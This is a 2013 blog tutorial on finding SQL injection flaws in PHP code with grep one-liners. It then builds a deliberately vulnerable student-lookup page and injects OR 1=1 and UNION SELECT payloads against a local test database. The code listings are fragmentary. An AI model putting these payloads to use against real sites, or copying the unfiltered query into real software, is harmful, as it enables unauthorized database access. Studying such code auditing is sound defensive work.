Wednesday, 27 March 2013

[EN] IdeAbout SQL Injections

Understanding SQLI. @ 26.03.2013

Why I understood it is more important to test 'for sqli bugs' by reading the code.

Once you find it 'at the code' you will know exactly 'where' and 'what payload' you need to
'put' by injection attack to this vulnerable place/parameter/cookie/whatever.

For example. 'Error-based' attacks. Ok, great attack, etc, but what if somewhere (in the
code) you have a 'filter' which will block all error-generating actions (or of course 'block it'
by generating some 'error page' or whatever else like this could be done here too, to protect this webapp
or setting of php.ini file, you name it).

Another thing about error based sqli vulnerabilities: you can miss something very,
very interesting. :)

Like of course other types of sql injection vulns, some XSS-based vulnerabilities (like XSS in
SQL query).

Let's go deeper...

How can we do it?

...and how can we find it in the code. Right.

So. First example of course should be simple. 'More-advanced' script can be done too if you like it.
Think about possible output of this command:
$cd your/web/code; grep -n -r -e <soon> ./

Great, we have 'stage 1'.

-n - is 'give me the line number'. Very useful.
-r - yes, recursive.
-e 'regexp' - man will help you here.

Run 'man grep'. And check it. Do not read what's next! ;]

Because next, we will find sql injection vulnerability. And purpouse of this text is:
you must (know and) understand "how to" find sqli bug in your (or your customers) code.

So, if you alread read a man for grep command, we can go deeper again...

What can we do now.

And how. ;)

Good excercise! Go to and find (I mean download) few sample plugin codes.
This is very good practice to get to know how sqli bugs can be found.

Another good idea is below. (But if you choosed to try out downloaded WP-plugins, go to unpacked
plugins directory now.)

(We must search via entire code, but at this moment, we can use grep without '-r', so
we will search only in current directory. It will be 'longer-way' but we are learning
right now, remember?;))

Ok: Grep, and grep, maybe something else to use now?
Right, try 'man egrep' ;]

$ egrep -n -e "SELECT|INSERT" *.php | grep DESC | grep -e "\\$"

What is good to remember:
- if you're using egrep with "something|else", in case of 'searching for sql injections' it could be useful
to search like this: egrep -n -r -e "select |insert " <- check it twice if you can not see a ' ' (space) between
'sql-word'(select) and |.

Ok, now it could be used with:
$ egrep -n -r -e "SELECT | INSERT | (other sql command you want here)" ./ | grep "DESC" (for example of course*) | grep -e "\\$"
what will give you:
- paremeters ($...),
- queries with 'DESC' (but be carefull here, once uppon a time I found that searching for this command (DESC) echo'ed 'other' output (strings)  than 'ASC' (for ASC there was no output). So think about what you're looking for because you can get exactly what you've asked. ;))
- and of course 'sql-command' that you wanted.

Very useful 'command' was used in 'SQL Injection Attack and Defence' by Justin Clarke from 'Syngress':
If you are looking for a good book about sql injection ('attack and defence' ;) ) ...
Buy it! ;]

(some small modifications by me;) and we have a grep-tool 'one-liner')
$grep -n -r "\(select \|insert \|update \|where \|order by \)\(.*$_\(GET\|POST\|HTTP_\).*\)" ./ | awk -F : '{print "filename: "$1"\nline: "$2"\nmatch: "$3"\n------next is:--------\n"}'

(Remember that in this 'example' we are looking for vulnerabilities in PHP based-webapp. So add here another bash command to 'extract' only interesting us data (without checking for sql-commands in files like TXT for example).)

$grep -n -r "\(select \|insert \|update \|where \|order by \)\(.*$_\(GET\|POST\|HTTP_\).*\)" ./ | grep -e "\.php" | awk -F : '{print "filename: "$1"\nline: "$2"\nmatch: "$3"\n------next is:--------\n"}'

Disappointed? ;]

Try this one:
$ grep -n -r "\(select \|insert \|update \|where \|order by \)" ./ | grep -e "\.php" | awk -F : '{print "filename: "$1"\nline: "$2"\nmatch: "$3"\n------next is:--------\n"}'

Still could be 'bad'. :C

Maybe this one:

$ grep -n -r "\(select \|insert \|update \|where \|order by \)" ./ | grep -e "\.php" | grep -e "\\$" | awk -F : '{print "filename: "$1"\nline: "$2"\nmatch: "$3"\n------next is:--------\n"}'

Yes, it's 'giving' for grep another, and another... 'value' for searching...

We can do it for one week for example. :) But this is too long.

So maybe now we should 'switch places' with 'programmer/coder/developer'.
Where (as a 'programmer') you will 'have to' use SQL language?

Few examples (in):
- registering users
- mail to them (via form/contact - if there's any at your site)
- forum/blog/board/guest book
- search (if page is generated by content from db)
- forgotten-password mechanism
- and so on...

Stop here, and think about it in (an)other way. Where else can be sqli found?
If 'this webapp is so big', (as a programmer) you will (? ;)) have to use some
let's say 'catalog' to store (and include or use in the future) there your filtering
functions, db-functions, other, and other functions... Like a 'lib' directory.

So 'ls -la', and where is the (typically) include or lib or library, and so on.
(That's why attacker who want to hack your page will do a file/dir-searching-attack
to find out, if at your websrv is any 'interesting' directory (or file, like 'admin.php.back', etc).

Ok. Let's back to our searching 'via e/grep'.

What file is using for what, can be guessed by simple reading their names. ;)
Usually of course. For example (at typical ls -la ./webapp/) we'll have something like:

$/phpBB3/includes$ ls ../
adm         config.php  download  files     index.php  memberlist.php  report.php  style.php  viewforum.php   web.config
cache       cron.php    faq.php   images    language   output.txt      search.php  styles     viewonline.php
common.php  docs        feed.php  includes  mcp.php    posting.php     store       ucp.php    viewtopic.php

or something similar.

What we can find 'for first' is files (to search for vulns, soon) like:
config.php, mcp.php, search.php, viewtopic.php, etc, etc...

So we should use now our grep to search only in this directory (./):
$ grep -n  "\(select \|insert \|update \|where \|order by \)" *.php | grep -e "\.php" | grep -e "\\$" | awk -F : '{print "filename: "$1"\nline: "$2"\nmatch: "$3"\n------next is:--------\n"}'

Nice. (let it be saved to >output.txt for now)

Now you have an idea what and how can you start for searching sql injection bugs.

Example from course of 'how to make your page with mysql'

We wil stop at this moment to get to know how webapplication is builded
with sql commands. How can it be done, how sql-queries are created.

We will use now a simple example: page where 'id' parameter is related to
user (a student let's say). If page-visitor will send (via HTTP GET) a value
for 'id' param, he (visitor) will 'go directly do DB' to try if there is a
table or column (or...?) with value '1' for something like 'id parameter'.

How it looks like (from code-point-of-view):

First of all we must create a page which will use SQL language:

To do that, we need our 'sample database' to get content from there (by our page).

To create our database we need to connect to our sql server:
$ mysql -u root -p
>mysql> create database school;use school;

Your database should look like this:
mysql> describe students;
| Field    | Type            | Null | Key | Default | Extra          |
| id       | int(5) unsigned | NO   | PRI | NULL    | auto_increment |
| name     | varchar(20)     | YES  |     | NULL    |                |
| surname  | varchar(100)    | YES  |     | NULL    |                |

Ok, if you have it, now we can write a simple page to GET information about
'id' (of student we want to check).

<title>our learning system</title>


        echo 'can not connect to DB :C';
        echo 'can not use selected database';

    $id = $_GET['id'];        // 1
    $query = "SELECT * from students where id=$id";    // 2
    $response = mysql_query($query);
    echo '<p><br>';
    echo '<table border="1"><tr>';
    echo '<td><strong>id</strong></td>';
    echo '<td><strong>name</strong></td>';
    echo '<td><strong>surename</strong></td></tr>';

    while($row = mysql_fetch_row($response)){
        echo '</tr>';
        echo '<td>'.$row[0].'</td>';
        echo '<td>'.$row[1].'</td>';
        echo '<td>'.$row[2].'</td>';
        echo '</tr>';
    echo '</table>';

        echo 'can not close db connection :C<br>';

As we can see, our page.php is getting 'id' value from simple GET.

(Tip here: if you're testing sql injection vulnerabilities at your server, you can use
one interesting command to do a little debug and to find more precisely where exacly we can try to
exploit a possibility of vulnerable piece of code. Try this:
root@box:~# tail -n 1 -f /var/log/mysql.log
This command will print out a result of SQL query.)

For example:
(At linux console, we have tail -n 1... and in the browser we have a (full address) to our page.php)

Try this: http://localhost/page.php?id=1

Output of 'tail'-command is probably something like this:

root@box:~# tail -n 1 -f /var/log/mysql/mysql.log
                  169 Quit
130327 11:44:16   170 Connect   tester@localhost on
                  170 Init DB   school
                  170 Query     SELECT * from students where id=2
                  170 Quit

Great. Let's look what will be at our page, if we do not add any id-value:
http://localhost/page.php?id=(nothing here, enter)


130327 11:54:55   171 Connect   root@localhost on
                  171 Init DB   school
                  171 Query     SELECT * from students where id=
                  171 Quit


Ok, let's add a simple 'wrong query', this could be used here: %^&*(*&^Y}:":>')

Response from mysql.log:
172 Query     SELECT * from students where id=%^

Ok, so & deleted our string. Lets try without this character:
173 Query     SELECT * from students where id=%^*(*^Y}:":>')

Great. Let back to the directory with page.php file and type there our 'egrep' command:

$ grep -n  "\(select \|insert \|update \|where \|order by \)" *.php | grep -e "\.php" | grep -e "\\$" | awk -F : '{print "filename: "$1"\nline: "$2"\nmatch: "$3"\n------next is:--------\n"}'
filename: page.php
line: 20
match:  $zapytanie = "SELECT * from students where id=$id";
------next is:--------

Ok. So because of no filtering here (//2) and because of (cat page.php)
no filtering when parameter 'id' is GET'ed (//1), we can try to add here some
SQL commands/queries:

id=1' and select version(); --

Answer (tail) is:
174 Query     SELECT * from students where id=1' and select version(); --

Let's try without '. Still nothing. So maybe we should compare this (//1) SELECT
with other SELECT command? Or maybe with OR command?

Let's try it out:
183 Query     SELECT * from students where id=1 OR 1=1

Great, we have all of students listed at output page(.php).

I think you've already heared about UNION SELECT.

Let's try if there is an opportunity to exploit this vulnerable page.php by sending to
parameter 'id' UNION command:

If your webapp/webserver is secured some how, you should connect directly to your mysql-console.
Try to do the same as code in page.php, so:
SELECT * from students WHERE id=1.

Now 'mix' this sql-query with UNION:

mysql> select * from students where id=1 UNION SELECT version(),1;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
mysql> select * from students where id=1 UNION SELECT version(),2;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
mysql> select * from students where id=1 UNION SELECT version(),2,3;
| id                          | name  | surname  |
| 1                           | wacek | kapusta  |
| 5.5.29-0ubuntu0.12.04.1-log | 2     | 3        |
2 rows in set (0.00 sec)

That's it. We have an exploit for SQL injection vulnerability:
http://localhost/page.php?id=1 UNION SELECT version(),2,3;

or of course:
http://localhost/page.php?id=1 UNION SELECT version(),user(),database();

Now you can back to checking phpBB :)

Good luck and have fun!

To be continued...


  1. Please stop doing posts like it if you wanna still have any RSS subs.

  2. Wow, I did not think that someone have rss to my blog! ;P

    Anyway, thank's for a good advice ;)

    (Post will be updated as soon as few people will check if it's ok.)


What do You think...?